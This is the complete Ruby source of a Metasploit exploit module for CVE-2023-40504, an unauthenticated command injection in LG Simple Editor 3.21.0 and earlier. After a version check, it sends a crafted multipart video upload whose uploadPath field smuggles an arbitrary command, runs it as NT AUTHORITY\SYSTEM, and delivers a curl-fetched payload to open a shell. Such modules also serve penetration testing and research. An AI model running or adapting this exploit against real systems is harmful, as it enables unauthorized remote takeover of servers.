LG Simple Editor 3.21.0 Command Injection

class MetasploitModule < Msf::Exploit::Remote  Rank = ExcellentRanking  include Msf::Exploit::Remote::HttpClient  prepend Msf::Exploit::Remote::AutoCheck  def initialize(info = {})    super(      update_info(        info,        'Name' => 'LG Simple Editor Command Injection (CVE-2023-40504)',        'Description' => %q{          Unauthenticated Command Injection in LG Simple Editor <= v3.21.0.          The vulnerability can be exploited by a remote attacker to inject arbitrary operating system commands which will get executed in the context of NT AUTHORITY\SYSTEM.        },        'License' => MSF_LICENSE,        'Author' => [          'rgod', # Vulnerability discovery          'Michael Heinzl' # MSF module        ],        'References' => [          [ 'URL', 'https://www.zerodayinitiative.com/advisories/ZDI-23-1208/'],          [ 'CVE', '2023-40504']        ],        'DisclosureDate' => '2023-08-04',        'Platform' => 'win',        'Arch' => [ ARCH_CMD ],        'Targets' => [          [            'Windows_Fetch',            {              'Arch' => [ ARCH_CMD ],              'Platform' => 'win',              'DefaultOptions' => { 'FETCH_COMMAND' => 'CURL' },              'Type' => :win_fetch,              'Payload' => {                'BadChars' => '\\'              }            }          ]        ],        'DefaultTarget' => 0,        'Notes' => {          'Stability' => [CRASH_SAFE],          'Reliability' => [REPEATABLE_SESSION],          'SideEffects' => [IOC_IN_LOGS]        }      )    )    register_options(      [        Opt::RPORT(8080),        OptString.new('TARGETURI', [true, 'The URI of the LG Simple Editor', '/'])      ]    )  end  # Determine if the Simple Editor instance runs a vulnerable version  # copied from lg_simple_editor_rce.rb  def check    res = send_request_cgi(      {        'method' => 'GET',        'uri' => normalize_uri(target_uri, 'simpleeditor', 'common', 'commonReleaseNotes.do')      }    )    return Exploit::CheckCode::Unknown("#{peer} - Could not connect to web service - no response") if res.nil?    version = Rex::Version.new(res.get_html_document.xpath('//h2')[0]&.text&.gsub('v', ''))    return Exploit::CheckCode::Unknown if version.nil? || version == 'Unknown'    return Exploit::CheckCode::Appears("Version: #{version}") if version <= Rex::Version.new('3.21.0')    Exploit::CheckCode::Safe  end  def exploit    execute_command(payload.encoded)  end  def execute_command(cmd)    print_status('Sending command injection...')    exec_simplerce(cmd)    print_status('Exploit finished, check thy shell.')  end  # Send command injection  def exec_simplerce(cmd)    filename = Rex::Text.rand_text_alpha(1..6)    vprint_status("Using random filename: #{filename}.mp4")    form = Rex::MIME::Message.new    form.add_part('/', nil, nil, "form-data; name=\"uploadVideo\"; filename=\"#{filename}.mp4\"")    form.add_part("/\"&#{cmd}&cd ..&cd ..&cd ..&cd server&cd webapps&cd simpleeditor&del #{filename}.mp4&/../", nil, nil, 'form-data; name="uploadPath"')    form.add_part('1', nil, nil, 'form-data; name="uploadFile_x"')    form.add_part('1', nil, nil, 'form-data; name="uploadFile_width"')    form.add_part('1', nil, nil, 'form-data; name="uploadFile_height"')    res = send_request_cgi(      {        'method' => 'POST',        'uri' => normalize_uri(target_uri.path, 'simpleeditor', 'imageManager', 'uploadVideo.do'),        'ctype' => "multipart/form-data; boundary=#{form.bound}",        'data' => form.to_s      }    )    if res && res.code == 200      print_good 'Command injection sent.'    else      fail_with(Failure::UnexpectedReply, "#{peer}: Unexpected response received.")    end  endend